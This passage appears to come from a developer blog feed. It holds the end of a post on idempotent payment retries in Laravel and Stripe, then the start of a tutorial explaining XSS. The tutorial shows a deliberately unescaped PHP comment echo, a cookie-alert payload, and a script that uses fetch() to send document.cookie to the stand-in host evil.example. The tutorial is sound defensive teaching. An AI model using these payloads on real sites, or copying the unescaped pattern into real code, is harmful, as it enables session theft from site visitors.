  <li><strong><code class="language-plaintext highlighter-rouge">5xx</code> releases the key</strong>, but only because Step 3 guarantees a <code class="language-plaintext highlighter-rouge">5xx</code> means “nothing happened”. If your code can’t promise that, leave the key locked and reconcile (see “Stuck in processing” below).</li>
</ul>

<h3 id="step-3--the-controller-pass-the-key-on-and-treat-timeouts-as-pending">Step 3 — The controller: pass the key on, and treat timeouts as <em>pending</em></h3>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="n">store</span><span class="p">(</span><span class="kt">PayRequest</span> <span class="nv">$request</span><span class="p">,</span> <span class="kt">StripeClient</span> <span class="nv">$stripe</span><span class="p">):</span> <span class="kt">JsonResponse</span>
<span class="p">{</span>
    <span class="nv">$order</span> <span class="o">=</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="nf">user</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">orders</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">findOrFail</span><span class="p">(</span><span class="nv">$request</span><span class="o">-&gt;</span><span class="n">order_id</span><span class="p">);</span>
    <span class="nv">$key</span>   <span class="o">=</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="nb">header</span><span class="p">(</span><span class="s1">'Idempotency-Key'</span><span class="p">);</span>

    <span class="nv">$payment</span> <span class="o">=</span> <span class="nv">$order</span><span class="o">-&gt;</span><span class="nf">payments</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">create</span><span class="p">([</span>
        <span class="s1">'amount_minor'</span>    <span class="o">=&gt;</span> <span class="nv">$order</span><span class="o">-&gt;</span><span class="n">total_minor</span><span class="p">,</span>     <span class="c1">// integers, never floats</span>
        <span class="s1">'currency'</span>        <span class="o">=&gt;</span> <span class="nv">$order</span><span class="o">-&gt;</span><span class="n">currency</span><span class="p">,</span>
        <span class="s1">'status'</span>          <span class="o">=&gt;</span> <span class="s1">'pending'</span><span class="p">,</span>
        <span class="s1">'idempotency_key'</span> <span class="o">=&gt;</span> <span class="nv">$key</span><span class="p">,</span>                    <span class="c1">// UNIQUE column: a second safety net</span>
    <span class="p">]);</span>

    <span class="k">try</span> <span class="p">{</span>
        <span class="nv">$intent</span> <span class="o">=</span> <span class="nv">$stripe</span><span class="o">-&gt;</span><span class="n">paymentIntents</span><span class="o">-&gt;</span><span class="nf">create</span><span class="p">([</span>
            <span class="s1">'amount'</span>         <span class="o">=&gt;</span> <span class="nv">$order</span><span class="o">-&gt;</span><span class="n">total_minor</span><span class="p">,</span>
            <span class="s1">'currency'</span>       <span class="o">=&gt;</span> <span class="nb">strtolower</span><span class="p">(</span><span class="nv">$order</span><span class="o">-&gt;</span><span class="n">currency</span><span class="p">),</span>
            <span class="s1">'payment_method'</span> <span class="o">=&gt;</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="n">payment_method_id</span><span class="p">,</span>
            <span class="s1">'confirm'</span>        <span class="o">=&gt;</span> <span class="kc">true</span><span class="p">,</span>
            <span class="s1">'metadata'</span>       <span class="o">=&gt;</span> <span class="p">[</span><span class="s1">'payment_id'</span> <span class="o">=&gt;</span> <span class="nv">$payment</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">],</span>
        <span class="p">],</span> <span class="p">[</span>
            <span class="s1">'idempotency_key'</span> <span class="o">=&gt;</span> <span class="nv">$key</span><span class="p">,</span>                <span class="c1">// ← the gateway de-duplicates too</span>
        <span class="p">]);</span>
    <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="err">\</span><span class="nc">Stripe\Exception\CardException</span> <span class="nv">$e</span><span class="p">)</span> <span class="p">{</span>
        <span class="nv">$payment</span><span class="o">-&gt;</span><span class="nf">update</span><span class="p">([</span><span class="s1">'status'</span> <span class="o">=&gt;</span> <span class="s1">'failed'</span><span class="p">,</span> <span class="s1">'failure_reason'</span> <span class="o">=&gt;</span> <span class="nv">$e</span><span class="o">-&gt;</span><span class="nf">getDeclineCode</span><span class="p">()]);</span>
        <span class="k">return</span> <span class="nf">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">json</span><span class="p">([</span><span class="s1">'id'</span> <span class="o">=&gt;</span> <span class="nv">$payment</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">,</span> <span class="s1">'status'</span> <span class="o">=&gt;</span> <span class="s1">'failed'</span><span class="p">],</span> <span class="mi">402</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="err">\</span><span class="nc">Stripe\Exception\ApiConnectionException</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// Timeout or dropped connection: the charge MAY have happened.</span>
        <span class="c1">// Do not retry here and do not fail over. The webhook or a status check will settle it.</span>
        <span class="k">return</span> <span class="nf">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">json</span><span class="p">([</span><span class="s1">'id'</span> <span class="o">=&gt;</span> <span class="nv">$payment</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">,</span> <span class="s1">'status'</span> <span class="o">=&gt;</span> <span class="s1">'pending'</span><span class="p">],</span> <span class="mi">202</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="nv">$payment</span><span class="o">-&gt;</span><span class="nf">update</span><span class="p">([</span>
        <span class="s1">'status'</span>            <span class="o">=&gt;</span> <span class="nv">$intent</span><span class="o">-&gt;</span><span class="n">status</span> <span class="o">===</span> <span class="s1">'succeeded'</span> <span class="o">?</span> <span class="s1">'succeeded'</span> <span class="o">:</span> <span class="s1">'pending'</span><span class="p">,</span>
        <span class="s1">'gateway_reference'</span> <span class="o">=&gt;</span> <span class="nv">$intent</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">,</span>
    <span class="p">]);</span>

    <span class="k">return</span> <span class="nf">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">json</span><span class="p">([</span><span class="s1">'id'</span> <span class="o">=&gt;</span> <span class="nv">$payment</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">,</span> <span class="s1">'status'</span> <span class="o">=&gt;</span> <span class="nv">$payment</span><span class="o">-&gt;</span><span class="n">status</span><span class="p">],</span> <span class="mi">201</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">catch (ApiConnectionException)</code> block is the most important part of the whole article. It turns an ambiguous failure into an honest <code class="language-plaintext highlighter-rouge">pending</code> state instead of guessing “failed” and letting someone retry into a double charge.</p>

<h3 id="step-4--the-client-retry-with-the-same-key">Step 4 — The client: retry with the <strong>same</strong> key</h3>

<figure>
<svg viewBox="0 0 680 140" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Timeline of four attempts all sharing Idempotency-Key 7c9e. Attempt 1 times out, attempt 2 hits a network error after about 1 second wait, attempt 3 gets 409 in progress after about 2 seconds, attempt 4 gets 200 OK replayed after about 4 seconds plus jitter.">
  <style>
    .h{font:700 13px -apple-system,Segoe UI,Roboto,sans-serif;}
    .t{font:600 12.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .m{font:12px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    .n{font:12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    .s{font:11.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#334155;}
  </style>
  <text class="m" x="340" y="18" text-anchor="middle">Idempotency-Key: 7c9e…  (identical on every attempt)</text>
  <path d="M40 90 H650" stroke="#cbd5e1" stroke-width="2" />
  <circle cx="60" cy="90" r="7" fill="#fca5a5" />
  <circle cx="144" cy="90" r="7" fill="#fca5a5" />
  <circle cx="277" cy="90" r="7" fill="#fde047" />
  <circle cx="536" cy="90" r="7" fill="#4ade80" />
  <text class="t" x="60" y="48" text-anchor="middle">Attempt 1</text>
  <text class="n" x="60" y="66" text-anchor="middle">timeout</text>
  <text class="t" x="144" y="48" text-anchor="middle">Attempt 2</text>
  <text class="n" x="144" y="66" text-anchor="middle">network error</text>
  <text class="t" x="277" y="48" text-anchor="middle">Attempt 3</text>
  <text class="n" x="277" y="66" text-anchor="middle">409 in progress</text>
  <text class="t" x="536" y="48" text-anchor="middle">Attempt 4</text>
  <text class="n" x="536" y="66" text-anchor="middle" fill="#15803d">200 OK (replayed) ✓</text>
  <text class="s" x="102" y="116" text-anchor="middle">wait ~1s</text>
  <text class="s" x="210" y="116" text-anchor="middle">wait ~2s</text>
  <text class="s" x="406" y="116" text-anchor="middle">wait ~4s (+ random jitter)</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">Exponential backoff spaces the retries out. Jitter stops thousands of clients from retrying at the same moment after an outage. The key never changes.</figcaption>
</figure>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Created ONCE when checkout starts — not inside the retry loop.</span>
<span class="kd">let</span> <span class="nx">idempotencyKey</span> <span class="o">=</span> <span class="nx">crypto</span><span class="p">.</span><span class="nx">randomUUID</span><span class="p">();</span>

<span class="k">async</span> <span class="kd">function</span> <span class="nx">pay</span><span class="p">(</span><span class="nx">payload</span><span class="p">,</span> <span class="nx">maxAttempts</span> <span class="o">=</span> <span class="mi">5</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">attempt</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">attempt</span> <span class="o">&lt;</span> <span class="nx">maxAttempts</span><span class="p">;</span> <span class="nx">attempt</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">try</span> <span class="p">{</span>
      <span class="kd">const</span> <span class="nx">res</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">/api/payments</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
        <span class="na">headers</span><span class="p">:</span> <span class="p">{</span> <span class="dl">'</span><span class="s1">Content-Type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">application/json</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">Idempotency-Key</span><span class="dl">'</span><span class="p">:</span> <span class="nx">idempotencyKey</span> <span class="p">},</span>
        <span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">payload</span><span class="p">),</span>
      <span class="p">});</span>

      <span class="k">if</span> <span class="p">(</span><span class="nx">res</span><span class="p">.</span><span class="nx">status</span> <span class="o">===</span> <span class="mi">409</span> <span class="o">||</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span> <span class="o">&gt;=</span> <span class="mi">500</span><span class="p">)</span> <span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="dl">'</span><span class="s1">retryable</span><span class="dl">'</span><span class="p">);</span>

      <span class="kd">const</span> <span class="nx">result</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">res</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span>
      <span class="k">if</span> <span class="p">(</span><span class="nx">res</span><span class="p">.</span><span class="nx">status</span> <span class="o">===</span> <span class="mi">402</span><span class="p">)</span> <span class="nx">idempotencyKey</span> <span class="o">=</span> <span class="nx">crypto</span><span class="p">.</span><span class="nx">randomUUID</span><span class="p">();</span> <span class="c1">// declined → next try is a NEW intent</span>
      <span class="k">return</span> <span class="nx">result</span><span class="p">;</span>                                                <span class="c1">// 201 succeeded, 202 pending, 402 failed</span>
    <span class="p">}</span> <span class="k">catch</span> <span class="p">{</span>
      <span class="kd">const</span> <span class="nx">backoff</span> <span class="o">=</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">min</span><span class="p">(</span><span class="mi">1000</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">**</span> <span class="nx">attempt</span><span class="p">,</span> <span class="mi">8000</span><span class="p">);</span>
      <span class="k">await</span> <span class="k">new</span> <span class="nb">Promise</span><span class="p">(</span><span class="nx">r</span> <span class="o">=&gt;</span> <span class="nx">setTimeout</span><span class="p">(</span><span class="nx">r</span><span class="p">,</span> <span class="nx">backoff</span> <span class="o">*</span> <span class="p">(</span><span class="mf">0.5</span> <span class="o">+</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span> <span class="o">/</span> <span class="mi">2</span><span class="p">)));</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="p">{</span> <span class="na">status</span><span class="p">:</span> <span class="dl">'</span><span class="s1">unknown</span><span class="dl">'</span> <span class="p">};</span> <span class="c1">// show "checking your payment…" and poll the order — never "failed"</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="step-5--webhooks-and-queue-jobs-de-duplicate-by-event-id">Step 5 — Webhooks and queue jobs: de-duplicate by event ID</h3>

<p>Gateways deliver webhooks <strong>at least once</strong>, and queue workers can run the same job twice. The receiver needs two guards: <em>have I seen this event?</em> and <em>is this state change still valid?</em></p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="n">__invoke</span><span class="p">(</span><span class="kt">Request</span> <span class="nv">$request</span><span class="p">):</span> <span class="kt">Response</span>
<span class="p">{</span>
    <span class="nv">$event</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">verifier</span><span class="o">-&gt;</span><span class="nf">verify</span><span class="p">(</span><span class="nv">$request</span><span class="p">);</span>           <span class="c1">// signature check first, always</span>

    <span class="no">DB</span><span class="o">::</span><span class="nf">transaction</span><span class="p">(</span><span class="k">function</span> <span class="p">()</span> <span class="k">use</span> <span class="p">(</span><span class="nv">$event</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// Guard 1: record the event ID. 0 rows inserted = we've handled this delivery before.</span>
        <span class="nv">$isNew</span> <span class="o">=</span> <span class="no">DB</span><span class="o">::</span><span class="nf">table</span><span class="p">(</span><span class="s1">'processed_webhook_events'</span><span class="p">)</span><span class="o">-&gt;</span><span class="nf">insertOrIgnore</span><span class="p">([</span>
            <span class="s1">'event_id'</span>    <span class="o">=&gt;</span> <span class="nv">$event</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">,</span>                  <span class="c1">// UNIQUE column</span>
            <span class="s1">'received_at'</span> <span class="o">=&gt;</span> <span class="nf">now</span><span class="p">(),</span>
        <span class="p">]);</span>
        <span class="k">if</span> <span class="p">(</span><span class="nv">$isNew</span> <span class="o">===</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="c1">// Guard 2: conditional state transition. Only pending → succeeded is allowed.</span>
        <span class="nv">$updated</span> <span class="o">=</span> <span class="nc">Payment</span><span class="o">::</span><span class="nf">where</span><span class="p">(</span><span class="s1">'gateway_reference'</span><span class="p">,</span> <span class="nv">$event</span><span class="o">-&gt;</span><span class="n">data</span><span class="o">-&gt;</span><span class="n">object</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">)</span>
            <span class="o">-&gt;</span><span class="nf">where</span><span class="p">(</span><span class="s1">'status'</span><span class="p">,</span> <span class="s1">'pending'</span><span class="p">)</span>
            <span class="o">-&gt;</span><span class="nf">update</span><span class="p">([</span><span class="s1">'status'</span> <span class="o">=&gt;</span> <span class="s1">'succeeded'</span><span class="p">]);</span>

        <span class="k">if</span> <span class="p">(</span><span class="nv">$updated</span> <span class="o">===</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
            <span class="nc">FulfilOrder</span><span class="o">::</span><span class="nf">dispatch</span><span class="p">(</span><span class="nv">$event</span><span class="o">-&gt;</span><span class="n">data</span><span class="o">-&gt;</span><span class="n">object</span><span class="o">-&gt;</span><span class="n">metadata</span><span class="o">-&gt;</span><span class="n">payment_id</span><span class="p">)</span><span class="o">-&gt;</span><span class="nf">afterCommit</span><span class="p">();</span>
        <span class="p">}</span>
    <span class="p">});</span>

    <span class="k">return</span> <span class="nf">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">noContent</span><span class="p">();</span>                       <span class="c1">// fast 2xx, so the gateway stops retrying</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Guard 2 matters even with guard 1. A gateway can send <strong>two different events</strong> (two different IDs) about the same payment, for example <code class="language-plaintext highlighter-rouge">charge.succeeded</code> and <code class="language-plaintext highlighter-rouge">payment_intent.succeeded</code>. The <code class="language-plaintext highlighter-rouge">WHERE status = 'pending'</code> makes the transition itself idempotent: whichever event arrives second updates 0 rows and fulfils nothing.</p>

<hr />

<h2 id="defence-in-depth">Defence in depth</h2>

<p>No single layer catches everything, so a solid payment system stacks several of them:</p>

<figure>
<svg viewBox="0 0 680 300" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Five layers of duplicate protection: client, API middleware, database, gateway, and webhooks and jobs, each with its specific technique.">
  <style>
    .h{font:700 13px -apple-system,Segoe UI,Roboto,sans-serif;}
    .t{font:600 12.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .m{font:12px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    .n{font:12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    .s{font:11.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#334155;}
  </style>
  <rect x="10" y="8" width="180" height="50" rx="8" fill="#f1f5f9" stroke="#cbd5e1" />
  <text class="t" x="100" y="38" text-anchor="middle">1  Client</text>
  <rect x="200" y="8" width="470" height="50" rx="8" fill="#fff" stroke="#e2e8f0" />
  <text class="s" x="214" y="29">One key per payment attempt, created before the first try.</text>
  <text class="s" x="214" y="46">Retry with the same key, backoff + jitter. Disable the button.</text>

  <rect x="10" y="66" width="180" height="50" rx="8" fill="#dbeafe" stroke="#93c5fd" />
  <text class="t" x="100" y="96" text-anchor="middle">2  API middleware</text>
  <rect x="200" y="66" width="470" height="50" rx="8" fill="#fff" stroke="#e2e8f0" />
  <text class="s" x="214" y="87">Store key + request hash. Replay completed responses.</text>
  <text class="s" x="214" y="104">409 while in progress, 422 when a key is reused with a new body.</text>

  <rect x="10" y="124" width="180" height="50" rx="8" fill="#ede9fe" stroke="#c4b5fd" />
  <text class="t" x="100" y="154" text-anchor="middle">3  Database</text>
  <rect x="200" y="124" width="470" height="50" rx="8" fill="#fff" stroke="#e2e8f0" />
  <text class="s" x="214" y="145">UNIQUE indexes on keys, gateway references and event IDs.</text>
  <text class="s" x="214" y="162">State changes only through WHERE status = 'pending'.</text>

  <rect x="10" y="182" width="180" height="50" rx="8" fill="#fef9c3" stroke="#fde047" />
  <text class="t" x="100" y="212" text-anchor="middle">4  Gateway</text>
  <rect x="200" y="182" width="470" height="50" rx="8" fill="#fff" stroke="#e2e8f0" />
  <text class="s" x="214" y="203">Forward the same key so the provider de-duplicates too.</text>
  <text class="s" x="214" y="220">Never fail over to another gateway after a timeout.</text>

  <rect x="10" y="240" width="180" height="50" rx="8" fill="#dcfce7" stroke="#86efac" />
  <text class="t" x="100" y="270" text-anchor="middle">5  Webhooks &amp; jobs</text>
  <rect x="200" y="240" width="470" height="50" rx="8" fill="#fff" stroke="#e2e8f0" />
  <text class="s" x="214" y="261">Record processed event IDs. Assume every delivery may be a repeat.</text>
  <text class="s" x="214" y="278">Scheduled jobs use deterministic keys (renewal:sub_88:2026-10).</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">If one layer misses a duplicate, the next one catches it. The database constraints are the last line and the one you can trust most.</figcaption>
</figure>

<h3 id="stuck-in-processing">Stuck in “processing”?</h3>

<p>If the server crashes after claiming a key but before saving the response, the key stays <code class="language-plaintext highlighter-rouge">processing</code> and every retry gets <code class="language-plaintext highlighter-rouge">409</code>. Add a sweeper: for keys stuck longer than a minute or two, <strong>ask the gateway</strong> what happened, using your stored reference or the same idempotency key, and record the real outcome. Don’t delete the key and hope. Deleting it is exactly how double charges come back.</p>

<hr />

<h2 id="common-pitfalls">Common pitfalls</h2>

<div>

  <table>
    <thead>
      <tr>
        <th>Pitfall</th>
        <th>Why it hurts</th>
        <th>Fix</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><strong>New key per retry</strong></td>
        <td>Every retry looks like a new payment</td>
        <td>Generate the key once per attempt, outside the retry loop</td>
      </tr>
      <tr>
        <td><strong>Check-then-insert</strong></td>
        <td>Parallel requests both pass the check</td>
        <td>Rely on a <code class="language-plaintext highlighter-rouge">UNIQUE</code> index and catch the violation</td>
      </tr>
      <tr>
        <td><strong>Treating timeout as failure</strong></td>
        <td>The user retries and gets charged twice</td>
        <td>Return <code class="language-plaintext highlighter-rouge">pending</code> and settle via webhook or status query</td>
      </tr>
      <tr>
        <td><strong>Failing over on timeout</strong></td>
        <td>Duplicate charge on two gateways</td>
        <td>Fail over only on “definitely not received” errors</td>
      </tr>
      <tr>
        <td><strong>Key not bound to payload</strong></td>
        <td>Same key + different amount returns a stale result</td>
        <td>Store a request hash and return <code class="language-plaintext highlighter-rouge">422</code> on mismatch</td>
      </tr>
      <tr>
        <td><strong>Key not sent to the gateway</strong></td>
        <td>A crash between charge and save means a retry charges again</td>
        <td>Forward the key in the gateway’s idempotency header</td>
      </tr>
      <tr>
        <td><strong>Webhook handler not idempotent</strong></td>
        <td>The order ships twice, the wallet is credited twice</td>
        <td>Event-ID table + conditional <code class="language-plaintext highlighter-rouge">UPDATE … WHERE status = 'pending'</code></td>
      </tr>
    </tbody>
  </table>

</div>

<hr />

<h2 id="a-five-point-summary">A five-point summary</h2>

<ol>
  <li><strong>Retries are unavoidable and timeouts are ambiguous.</strong> A missing response means “unknown”, not “failed”.</li>
  <li><strong>An idempotency key identifies one payment intent.</strong> The client creates it once and sends it on every retry.</li>
  <li><strong>The server claims the key atomically</strong> with a <code class="language-plaintext highlighter-rouge">UNIQUE</code> index, stores the response, and replays it for repeats (<code class="language-plaintext highlighter-rouge">409</code> in progress, <code class="language-plaintext highlighter-rouge">422</code> on mismatch).</li>
  <li><strong>Pass the key to the gateway and never fail over on a timeout.</strong> Mark the payment <code class="language-plaintext highlighter-rouge">pending</code> and let the webhook or a status check settle it.</li>
  <li><strong>Make every consumer idempotent too.</strong> Webhooks and jobs de-duplicate by event ID and only change state through guarded <code class="language-plaintext highlighter-rouge">WHERE status = …</code> updates.</li>
</ol>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>Double charges rarely come from bad arithmetic. They come from the gap between “the server did the work” and “the client heard about it”. You can’t close that gap, because networks will always drop replies. You <strong>can</strong> make it harmless. Give each payment intent a key, claim it atomically, remember the answer, pass the key downstream, and treat “I don’t know” as <code class="language-plaintext highlighter-rouge">pending</code> rather than <code class="language-plaintext highlighter-rouge">failed</code>. With that in place, a retry just returns the answer the server already gave.</p>]]></content><author><name>Milanda Wijekoon</name><email>milandawijekoon@gmail.com</email></author><category term="Payments" /><summary type="html"><![CDATA[A short, diagram-led deep-dive on why duplicate transactions happen, how timeouts and retries turn one payment into two, and how to design idempotency keys properly — with real failure scenarios and Laravel code you can copy. Readable in about 10–15 minutes.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://milandawijekoon.github.io/assets/images/logo.png" /><media:content medium="image" url="https://milandawijekoon.github.io/assets/images/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">XSS Attack, Explained: How It Works and How to Prevent It</title><link href="https://milandawijekoon.github.io/blog/xss-attack-explained-and-how-to-prevent-it/" rel="alternate" type="text/html" title="XSS Attack, Explained: How It Works and How to Prevent It" /><published>2026-09-22T00:00:00+00:00</published><updated>2026-09-22T00:00:00+00:00</updated><id>https://milandawijekoon.github.io/blog/xss-attack-explained-and-how-to-prevent-it</id><content type="html" xml:base="https://milandawijekoon.github.io/blog/xss-attack-explained-and-how-to-prevent-it/"><![CDATA[<p>Cross-Site Scripting (XSS) is one of the oldest entries on the OWASP Top 10, and it is still everywhere — in comment boxes, search results, profile fields, even URL parameters reflected back onto a page. It survives because the mistake is easy to make and easy to miss in review: a piece of user data gets printed into HTML without being escaped.</p>

<p>This note is a compact tour. By the end you should be able to explain what XSS is, spot the pattern that causes it, tell the three attack types apart, and know exactly which techniques stop it.</p>

<hr />

<h2 id="the-one-sentence-definition">The one-sentence definition</h2>

<p><strong>XSS happens when data supplied by a user is allowed to be interpreted as <em>HTML or JavaScript</em> by the browser, instead of being treated purely as <em>text</em> on the page.</strong></p>

<p>Everything else in this article is a consequence of that sentence.</p>

<hr />

<h2 id="why-it-happens-code-and-data-get-mixed-in-the-browser-too">Why it happens: code and data get mixed in the browser too</h2>

<p>This is the exact same root cause as SQL injection, just in a different parser:</p>

<ul>
  <li><strong>Code</strong> — HTML tags, attributes, and <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> content that the browser executes or renders.</li>
  <li><strong>Data</strong> — a username, a comment, a search term, a URL parameter.</li>
</ul>

<p>When a server (or client-side JS) writes user input straight into the page’s HTML, the browser cannot tell which characters were meant to be a harmless string and which were meant to be markup. It just parses the whole response as HTML.</p>

<figure>
<svg viewBox="0 0 680 250" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Diagram showing user input concatenated into an HTML template, which the browser parses as a mix of markup and data">
  <style>
    .lbl{font:600 13px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .sub{font:12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    .mono{font:13px ui-monospace,SFMono-Regular,Menlo,monospace;}
    .box{fill:#f8fafc;stroke:#e2e8f0;stroke-width:1.5;rx:10;}
  </style>
  <rect class="box" x="1" y="30" width="200" height="70" rx="10" />
  <text class="lbl" x="16" y="55">Developer's template</text>
  <text class="mono" x="16" y="78" fill="#2563eb">"&lt;p&gt;Hi, "</text>

  <rect class="box" x="1" y="150" width="200" height="70" rx="10" />
  <text class="lbl" x="16" y="175">User input (comment)</text>
  <text class="mono" x="16" y="198" fill="#b91c1c">&lt;script&gt;...&lt;/script&gt;</text>

  <path d="M205 65 H255 M205 185 H255 M255 65 Q275 65 275 110 M255 185 Q275 185 275 130 M275 110 V125 H300" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="300,118 292,113 292,123" fill="#94a3b8" />

  <rect class="box" x="305" y="80" width="230" height="90" rx="10" />
  <text class="lbl" x="320" y="105">HTML sent to browser</text>
  <text class="mono" x="320" y="130" fill="#0f172a">&lt;p&gt;Hi,</text>
  <text class="mono" x="320" y="150" fill="#b91c1c">&lt;script&gt;...&lt;/script&gt;</text>

  <path d="M539 125 H575" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="578,125 570,120 570,130" fill="#94a3b8" />

  <rect class="box" x="582" y="80" width="96" height="90" rx="10" />
  <text class="lbl" x="596" y="120">Browser</text>
  <text class="sub" x="596" y="140">parses &amp;</text>
  <text class="sub" x="596" y="154">runs script</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">The browser receives one blob of HTML. It cannot distinguish the developer's markup from the attacker's script tag — both get parsed and the script runs.</figcaption>
</figure>

<hr />

<h2 id="a-concrete-attack-step-by-step">A concrete attack, step by step</h2>

<p>Here is a comment box rendered the dangerous way. The language is PHP, but the flaw is identical in every language and framework that skips output escaping.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// DANGEROUS — never do this</span>
<span class="nv">$comment</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'comment'</span><span class="p">];</span>

<span class="k">echo</span> <span class="s2">"&lt;div class='comment'&gt;"</span> <span class="mf">.</span> <span class="nv">$comment</span> <span class="mf">.</span> <span class="s2">"&lt;/div&gt;"</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="step-1--the-normal-case">Step 1 — the normal case</h3>

<p>Input: <code class="language-plaintext highlighter-rouge">Nice article, thanks!</code></p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"comment"</span><span class="nt">&gt;</span>Nice article, thanks!<span class="nt">&lt;/div&gt;</span>
</code></pre></div></div>

<p>Works fine. This is why the bug survives code review — the happy path looks correct.</p>

<h3 id="step-2--inject-a-script">Step 2 — inject a script</h3>

<p>Input: <code class="language-plaintext highlighter-rouge">&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code></p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"comment"</span><span class="nt">&gt;&lt;script&gt;</span><span class="nx">alert</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">)</span><span class="nt">&lt;/script&gt;&lt;/div&gt;</span>
</code></pre></div></div>

<p>Every visitor who loads this page now runs the attacker’s JavaScript, with full access to the page’s DOM, cookies, and session.</p>

<h3 id="step-3--steal-the-session-not-just-show-an-alert">Step 3 — steal the session, not just show an alert</h3>

<p>Input:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span><span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">https://evil.example/steal?c=</span><span class="dl">'</span> <span class="o">+</span> <span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">)</span><span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>The alert box was just a proof of concept. A real payload silently ships the victim’s session cookie to an attacker-controlled server — no popup, no visible sign anything happened.</p>

<h3 id="step-4--skip-the-tag-entirely-use-an-event-handler">Step 4 — skip the tag entirely, use an event handler</h3>

